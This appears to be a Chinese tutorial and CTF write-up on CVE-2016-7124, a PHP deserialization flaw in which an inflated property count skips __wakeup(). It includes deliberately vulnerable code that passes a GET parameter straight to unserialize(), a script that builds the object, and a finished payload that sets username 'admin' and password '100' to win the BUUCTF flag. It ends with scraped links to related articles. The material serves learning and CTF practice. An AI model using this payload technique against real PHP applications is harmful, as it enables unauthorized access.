__wakeup()魔术方法绕过(CVE-2016-7124)

漏洞简介

在php反序列化数据过程中,如果类中存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,当序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

适用环境

PHP 5<5.6.25; PHP 7<7.0.10

复现过程

环境源码

<?php

//__wakeup:反序列化恢复对象之前调用该方法
//CVE-2016-7124 __wakeup绕过
class Test{
public $sex;
public $name;
public $age; public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
} public function __wakeup(){
echo "__wakeup()被调用<br>";
} public function __destruct(){
echo "__destruct()被调用<br>";
} // } unserialize($_GET['x']);
?>

正常执行流程为,网页接受变量x数据进行反序列化操作,__wakeup()魔术方法被调用,然后程序执行完毕,__destruct魔术方法被调用。

确认php版本是否符合

修改对象属性个数的值大于真实的属性个数时,__wakeup魔术方法被绕过

CTF赛题应用

  • BUUCTF--[极客大挑战 2019]PHP

    根据赛题提示,下载www.zip备份文件

    源码
<?php
include 'flag.php'; error_reporting(0); class Name{
private $username = 'nonono';
private $password = 'yesyes'; public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
} function __wakeup(){
$this->username = 'guest';
} function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die(); }
}
}
?>

对代码进行分析可知,想要获取flag需要执行__destruct魔术方法,并且传入的序列化数据中的username值为admin,且password值为100,通过构造pop链可以修改Name类的属性,但是在此网页接受数据之后,会对数据进行反序列化处理,在进行反序列化处理之前会调用__wakeup魔术方法,但是在代码中,__wakeup魔术方法将username进行了重新赋值,因此要想获取flag,必须绕过__wakeup。

确认php版本是否在符合CVE-2016-7124漏洞版本区间(PHP 5<5.6.25; PHP 7<7.0.10)



构造pop链

<?php

class Name{
private $username = 'admin';
private $password = '100'; } $obj=new Name();
echo serialize($obj); ?>

得到序列化数据之后要将private型得数据特征表现出来,即private属性序列化的时候格式是%00类名%00成员名,并让对象属性个数大于真实个数。

payload

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

漏洞修复

升级php版本即可

以上内容仅作参考学习,如有瑕疵或错误,希望各位师傅们斧正,感谢阅读。

__wakeup()魔术方法绕过(CVE-2016-7124)的更多相关文章

  1. php反序列化漏洞绕过魔术方法 __wakeup

    0x01 前言 前天学校的ctf比赛,有一道题是关于php反序列化漏洞绕过wakeup,最后跟着大佬们学到了一波姿势.. 0x02 原理 序列化与反序列化简单介绍 序列化:把复杂的数据类型压缩到一个字 ...

  2. PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化)/约束类型/魔术方法小结

      前  言  OOP  学习了好久的PHP,今天来总结一下PHP中的抽象类与抽象方法/静态属性和静态方法/PHP中的单利模式(单态模式)/串行化与反串行化(序列化与反序列化). 1  PHP中的抽象 ...

  3. php中魔术方法有什么用

    在面向对象编程中,PHP提供了一系列的魔术方法,这些魔术方法为编程提供了很多便利.PHP中的魔术方法通常以__(两个下划线)开始,并且不需要显示的调用而是由某种特定的条件出发. __construct ...

  4. 魔术方法__sleep 和 __wakeup

    感觉序列化和反序列化用得倒是比较少了,而json_encode和json_decode用得相对多,都是转化成串,进行入库.传输等.json更方便,但是序列化和反序列化结合这两个魔术方法使用倒还行< ...

  5. PHP中的魔术方法:__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toString, __set_state, __clone and __autoload

    1.__get.__set 这两个方法是为在类和他们的父类中没有声明的属性而设计的: __get( $property ) 当调用一个未定义的属性时访问此方法: __set( $property, $ ...

  6. PHP 魔术方法 __sleep __wakeup(四)

    串行化serialize可以把变量包括对象,转化成连续bytes数据. 你可以将串行化后的变量存在一个文件里或在网络上传输. 然后再反串行化还原为原来的数据. 你在反串行化类的对象之前定义的类,PHP ...

  7. PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep, __wakeup, __toStr

    PHP中的魔术方法总结 :__construct, __destruct , __call, __callStatic,__get, __set, __isset, __unset , __sleep ...

  8. PHP中的魔术方法总结:__construct,__destruct ,__call,__callStatic,__get,__set,__isset, __unset ,__sleep,__wakeup,__toString,__set_state,__clone,__autoload

    1.__get.__set这两个方法是为在类和他们的父类中没有声明的属性而设计的__get( $property ) 当调用一个未定义的属性时访问此方法__set( $property, $value ...

  9. PHP基础知识之魔术方法

    __construct(), __destruct(), __call(), __callStatic(), __get(), __set(), __isset(), __unset(), __sle ...

  10. 前端学PHP之面向对象系列第二篇——魔术方法

    × 目录 [1]构造方法 [2]析构方法 [3]不可访问属性[4]对象复制[5]字符串[6]对象不存在[7]自动加载类[8]串行化[9]函数调用 前面的话 php在面向对象部分有很多相关的魔术方法,这 ...

随机推荐

  1. 计蒜客蓝桥杯省赛模拟G

    题目 一天蒜头君得到 n 个字符串 si,每个字符串的长度都不超过 1010. 蒜头君在想,在这 n 个字符串中,以 si 为后缀的字符串有多少个呢? 输入格式 第一行输入一个整数 n. 接下来 n ...

  2. harbor仓库主从同步

  3. qq飞车端游最全按键指法教学

    目录 起步篇 超级起步 弹射起步 段位起步 基础篇 点飘 撞墙漂移 撞墙点喷 进阶篇 双喷 叠喷 断位漂移 段位双喷 侧身漂移 快速出弯 CW WCW CWW 牵引 甩尾点飘 甩尾漂移 右侧卡 左侧卡 ...

  4. WPF入门教程系列二十八 ——DataGrid使用示例MVVM模式(5)

    WPF入门教程系列目录 WPF入门教程系列二--Application介绍 WPF入门教程系列三--Application介绍(续) WPF入门教程系列四--Dispatcher介绍 WPF入门教程系 ...

  5. 一张图快速了解 Istio 的 EnvoyFilter

    EnvoyFilter简介 EnvoyFilter 提供了一种机制来定制 Istio Pilot 生成的 Envoy 配置.使用 EnvoyFilter 修改某些字段的值,添加特定的过滤器,甚至添加全 ...

  6. 【leetcode】# 7 整数翻转 Rust Solution

    给出一个 32 位的有符号整数,你需要将这个整数中每位上的数字进行反转.示例 1:输入: 123输出: 321 示例 2:输入: -123输出: -321示例 3:输入: 120输出: 21注意:假设 ...

  7. CMU15445 (Fall 2020) 数据库系统 Project#2 - B+ Tree 详解(下篇)

    前言 上一篇博客中实现了单线程 B+ 树的查找.插入.删除和迭代操作,这篇博客将完成实验二的剩余任务:并发 B+ 树.实现 B+ 树并发访问最简单的方法就是在整棵树上加一把大锁,但是这样会导致过多线程 ...

  8. 6. Mybatis的各种查询功能

    6.1.查询一个实体类对象 ‍ /** * 根据用户id查询用户信息 * @param id * @return */ User getUserById(@Param("id") ...

  9. kaggle中训练得到的output太大该怎么下载?

    最近在使用Kaggle平台训练自己的模型,但是训练结束之后由于模型过大导致output那里一直在加载(转圈),即使加载出来点击download也没有反应 下面借鉴知乎大佬的方法可以完美解决!通过将其压 ...

  10. 【转载】Linux虚拟化KVM-Qemu分析(二)之ARMv8虚拟化

    原文链接: 作者:LoyenWang 出处:https://www.cnblogs.com/LoyenWang/ 公众号:LoyenWang 版权:本文版权归作者和博客园共有 转载:欢迎转载,但未经作 ...